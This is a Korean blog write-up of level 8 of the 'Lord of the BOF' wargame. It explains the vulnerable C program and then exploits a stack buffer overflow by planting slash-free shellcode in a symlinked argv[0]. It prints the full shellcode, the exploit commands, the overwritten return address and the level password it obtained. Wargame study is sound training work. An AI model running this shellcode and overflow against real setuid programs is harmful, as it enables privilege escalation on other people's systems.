ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL8] (orge -> troll) : check argc
    Wargame/LordOfTheBof (redhat) 2013. 6. 27. 17:58

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - troll
            - check argc + argv hunter
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	// here is changed
    	if(argc != 2){
    		printf("argc must be two!\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	// check the length of argument
    	if(strlen(argv[1]) > 48){
    		printf("argument is too long!\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// buffer hunter
    	memset(buffer, 0, 40);
    
    	// one more!
    	memset(argv[1], 0, strlen(argv[1]));
    }
    

    소스가 상당히 길다. 하나하나 검증 루틴을 살펴보자.


    1. 인자의 개수(argc)는 2개여야 한다.

    2. 환경변수(environ)을 초기화 한다.

    3. argv[1][47]의 값은 \xbf 여야 한다.

    4. argv[1]의 길이는 48개 미만이어야 한다.

    5. buffer를 초기화 한다.

    6. argv[1]도 초기화 한다.


    6번이 문제다. 이제는 argv[1]도 초기화 된다.

    하지만 우리는 파일명(argv[0])을 쓰면 된다.


    2. argv[0]에 shellcode 삽입

    이전 레벨인 LEVEL7 에서 argv[0]을 77자로 만든 것을 기억할 것이다.

    그렇다. 이전 레벨은 바로 이 문제를 풀기 위한 몸풀기였다. 말인즉슨 파일명(argv[0])에 shellcode를 넣으면 된다는 말.

    우선 파일명(argv[0])을 변경하기에 앞서, shellcode가 들어갈 argv[0]의 주소를 출력하도록 소스를 변경하고, 컴파일 하자.

    [orge@localhost orge]$ cp troll.c trola.c

    [orge@localhost orge]$ vi trola.c

    // ...중략...
            // one more!
            memset(argv[1], 0, strlen(argv[1]));
    
            printf("%#x\n", argv[0]); // <- 이 한줄을 추가
    }

    [orge@localhost orge]$ gcc -o trola trola.c


    이제 파일명(argv[0])을 심볼릭 링크를 걸어서 변경하자.

    이전 LEVEL7 과 동일하게 75자로 만들자. 어차피 남는 공간은 NOP(\x90)으로 채우면 되니까.

    [orge@localhost orge]$ ln -s trola `python -c "print 'A'*75"`

    [orge@localhost orge]$ ls -l

    total 104

    lrwxrwxrwx    1 orge     orge            5 Jun 27 18:05 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> trola

    -rw-------    1 orge     orge        61440 Jun 27 18:03 core

    -rwxrwxr-x    1 orge     orge        12729 Jun 27 17:37 trola

    -rw-r--r--    1 orge     orge          800 Jun 27 18:02 trola.c

    -rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll

    -rw-r--r--    1 root     root          772 Mar 29  2010 troll.c


    이제 이를 실행해 shellcode가 있는 argv[0]의 주소를 구하자.

    [orge@localhost orge]$ `python -c "print './' + 'A'*75"` `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

    0xbffffb64

    Segmentation fault

    이제 출력된 argv[0]의 주소 0xbffffb64을 이용해 Exploit을 진행하자.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 48 Byte)

    \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

    뭔가 shellcode가 달라졌는데, 이 shellcode는 \x2f 가 없는 버전이다.

    \x2f 는 ascii 코드로 / 를 뜻하는데 파일명(argv[0])에 shellcode를 삽입하기 때문에 / 가 들어가면 안된다.

    이유는 당연히 리눅스의 파일명에서 / 는 경로를 의미하기 때문. (ex. /var/www 등등...)


    아래는 argv[0]의 최종 구성이다. 혹시 주소값이 변할까봐 75 Byte로 맞춰주었다.

    shellcode

    NOP 

    48 Byte

    27 Byte 

    75 Byte


    우선 위의 최종 구성대로 troll 파일의 심볼릭 링크를 건다.

    [orge@localhost orge]$ ln -s troll `python -c "print '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*27"`


    이제 buffer를 overflow 시켜서 RET를 argv[0]의 주소로 덮는다.

    buffer 

    SFP 

    RET 

     40 Byte

    4 Byte 

    4 Byte 

    A * 40

    BBBB 

    \x64\xfb\xff\xbf 


    필요한 모든것이 준비되었다. 이제 위에서 얻은 argv[0]의 주소와 심볼릭 링크를 이용해 Exploit을 진행하자.

    [orge@localhost orge]$ `python -c "print './' + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*27"` `python -c "print 'A'*40 + 'BBBB' + '\x64\xfb\xff\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBd���

    bash$ my-pass

    euid = 508

    aspirin


    성공 !


Designed by Tistory.